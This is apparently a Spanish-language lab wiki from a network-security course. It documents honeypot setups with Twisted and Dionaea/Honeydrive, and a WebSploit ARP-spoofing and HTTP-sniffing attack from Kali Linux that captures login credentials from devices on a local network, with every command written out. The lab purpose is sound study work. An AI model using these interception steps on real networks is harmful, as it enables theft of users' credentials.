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
En esta sección se describirán los honeypots utilizados para la [[red izquierda|Red izquierda - twisted-honeypots]] y la [[red derecha|Red derecha - Honeydrive]].
Para llevar a cabo este se creó un USB booteable con Kali Linux con [[esta guia|https://www.kali.org/docs/usb/kali-linux-live-usb-install/]]. Tras bootear en este sistema (en una computadora con conexión wifi) fue necesario descargar la herramienta [[WebSploit|https://github.com/websploit/websploit]] utilizando el siguiente comando en una terminal: `apt install websploit` Una vez descargado se necesitan 2 terminales abiertas. Una servirá para [[arp spoofing|https://es.wikipedia.org/wiki/Suplantaci%C3%B3n_de_ARP]] y la otra para [[sniffing|https://es.wikipedia.org/wiki/Analizador_de_paquetes]] de los paquetes http. Para ello es identificar cierta información: * Gateway de la red * Target (máquina que se desea atacar) * Interfaz de red de Kali Linux En el escenario realizado de forma local, el ''gateway ''es `192.168.1.254`, el ''target ''es `192.168.1.72`, que representa una computadora de escritorio con Windows 10 y la ''interfaz de red'' es `wlan0`, obtenida a través de `ip a` en Kali Linux. Las dos consolas necesitan la cuenta ''root'', por lo que se ejecuta `sudo bash` en cada una. Primero se aplica el ''envenenamiento de ARP'' con la ''consola 1'' con los siguientes comandos: * `websploit` * `use arp_spoof` * `set target 192.168.1.72` * `set gateway 192.168.1.254` * Comprobar con el comando `options` * `execute` Tras el último comando, se observará en pantalla algo similar a la siguiente imagen: [img[arp_spoof.png]] donde se muestra que la dirección MAC de Kali Linux está siendo enviada al ''gateway ''y al ''target''. Ahora, con la ''consola 2'' se puede ''sniffear'' los paquetes http con los sigueintes comandos: * `websploit` * `use http_sniffer` * `set iface wlan0` * `execute` No aparecerá nada en consola hasta que la máquina ''target'' (Windows 10) acceda a información por medio de http. Por ejemplo, si en Windows 10 se abre [[esta página|http://rbzs.myspecies.info/scratchpads-front?destination=scratchpads-front]], se selecciona la opción login y se introduce //dummyUsername// y //dummyPassword// como usuario y contraseña, respectivamente, se observará la siguiente salida en la consola 2 de Kali Linux: [img[sniffing.png]] Como se puede observar, websploit registra todos los requests http realizados y además aquellos intentos de login en páginas, con lo cual es posible obtener las credenciales de un usuario navegando en páginas no seguras. ''Tres'' más fueron realizadas en otros sistemas: celular Android a través de Samsung Internet y Google Chrome; celular iPhone a través de Safari y laptop con Windows 10 a través de Google Chrome. El único que no pudo ser vulnerado con el procedimiento anterior fue el dispositivo iPhone. Websploit registraba el request de login, más no desplegaba las credenciales. Además, en otros sistemas el método no era infalible, dado que en ocasiones no era capaz de capturar las credenciales del target.
Esta sección resume las pruebas de los ataques realizados con [[Kali Linux|Kali Linux - Websploit]] y [[Debian Core|Debian Core]].
Para implementar un honeypot en la red derecha se utilizó una distribución de linux llamada [[Honeydrive|https://bruteforce.gr/honeydrive/]], el cual viene con varios Honeypots instalados y configurados para hacer uso sencillo de ellos. En este caso se utilizó [[Dionaea|https://github.com/DinoTools/dionaea]] publicando los servicios [[ssh|https://es.wikipedia.org/wiki/Secure_Shell]], [[ftp|https://es.wikipedia.org/wiki/Protocolo_de_transferencia_de_archivos]], [[pptp|https://es.wikipedia.org/wiki/PPTP]], [[smbd|https://www.samba.org/samba/docs/current/man-html/smbd.8.html]] y [[mysql|https://www.mysql.com/]]. Para ello, se descarga el distro en este [[link|https://sourceforge.net/projects/honeydrive/]] y se importa en una máquina virtual con dirección IP `10.22.1.67`. Una vez ejecutada la máquina virtual, basta con abrir una consola y ejecutar el comando: `/honeydrive/dionaea-vagrant/runDionaea.sh` el cual comenzará el servidor de Dionaea. Para intentar acceder a estos servicios falsos, podemos utilizar otras máquinas en la misma red. En este caso se utilizó la máquina con Linux Mint PRMintDER (`10.22.1.65`) y una nueva máquina virtual con windows 8 PRWin8DER (`10.22.1.64`). En Linux Mint es necesario descargar ftp, pptp y smb-client con el comando `sudo apt install smbclient pptp-linux ftp` Y para realizar conexiones con cada uno se abre otra terminal y se ejecutan los siguientes comandos: * `smbclient -L 10.22.1.67` e introducir cualquier contraseña. * `pptp 10.22.1.67` * `ftp 10.22.1.67` e introducir cualquier contraseña. Por otro lado, en la máquina Windows 8 es necesario descargar [[MySQL Shell|https://dev.mysql.com/downloads/shell/]], ejecutarlo e introducir el siguiente comando: `\connect --mysql root@10.22.1.67` Introducir cualquier contraseña cuando lo pida. Ahora, para visualizar estos intentos de acceder a diversos servicios desde honeydrive, basta con abrir el navegador y entrar a la página `localhost/phpliteadmin/phpliteadmin.php`, seguido de navegar a Dionaea database >> connections. [img[honeydrive.png]] Esta base de datos contiene los registros de ingresos a los diferentes servicios publicados por Dionaea. Como se puede observar, se registraron los intentos de las máquinas `10.22.1.64` para acceder a los puertos 3306 (MySQL) y `10.22.1.65` para acceder a los puertos 445/139, 1723 y 21 (smb, pptp y ftp, respectivamente). Al ser una base de datos MySQL, si esta lista se volviese muy larga, es posible ejecutar scripts de MySQL en la sección de SQL para encontrar información específica,
Para implementar un honeypot en la red izquierda se utilizaron scripts de python 3 que utilizan el engine Twisted. El código se obtuvo del repositorio de github [[twisted-honeypots|https://github.com/lanjelot/twisted-honeypots]] el cual utiliza mysql para guardar las credenciales utilizadas. El repositorio incluye un documento para visualizar de manera gráfica el numero de ataques recibidos desde la consola Linux. Todo el proceso de estableció en una maquina virtual debian 10 con la ip `10.21.1.68`. Primeramente, se realizo la instalación de mysql-server. Para ello se siguieron los pasos ubicados en la guía [[How To Install MySQL on Debian 9 (Stretch)|https://tecadmin.net/install-mysql-server-on-debian9-stretch/]]. Posteriormente, se hizo la instalación de los paquetes de python necesarios, a reserva de los establecidos en el archivo de requerimientos indicados en el proyecto con el siguiente comando: `pip install brcrypt pyasn1 mysqlclient` También se instalaron los paquetes de debian necesarios con la siguiente linea: `apt-get install python3-dev default-libmysqlclient-dev build-essential` A continuación, se procedió a clonar el proyecto del repositorio: `git clone https://github.com/lanjelot/twisted-honeypots /opt/twisted-honeypotsl` Se accedió al directorio donde se clonó el proyecto y se corrieron los ejecutables de instalación: `./install.sh && ./setup-db.sh` Se cambió la linea 59 del archivo sshpot.sh ubicado en la carpeta python a la forma siguiente: [img[consola1.png]] Esto se hizo para que existiera compatibilidad con los ciphers utilizados con el cliente ssh, ya que en caso de no cambiar la linea, en la linea ejecutada por el cliente para la conexión se debía utilizar la opción -c. Se procedió a iniciar el honeypot: `./start.sh` Para visualizar los ataques se ejecutó lo siguiente: `./monitor.sh` [img[consola2.png]] Ya con la visualización gráfica actualizandose cada 30 seg, se procedió a establecer lo logins falsos desde el cliente. Antes, se instalaron en la maquina cliente, ftp y telnet con la siguiente linea: `apt install ftp telnet` Posteriormente, ya con el cliente listo se realizaron las supuestas conexiones con los servicios. Para ssh: `ssh [nombreUsuario]@10.21.1.68` e introducir cualquier contraseña. Para ftp: `ftp 10.21.1.68` e introducir cualquier usuario y contraseña. Para telnet: `telnet 10.21.1.68` e introducir cualquier usuario y contraseña. Entonces, cada vez que se intentaba acceder con unas credenciales se almacenaba en la base de datos y se representaban cambios cada medio minuto en la visualización gráfica.
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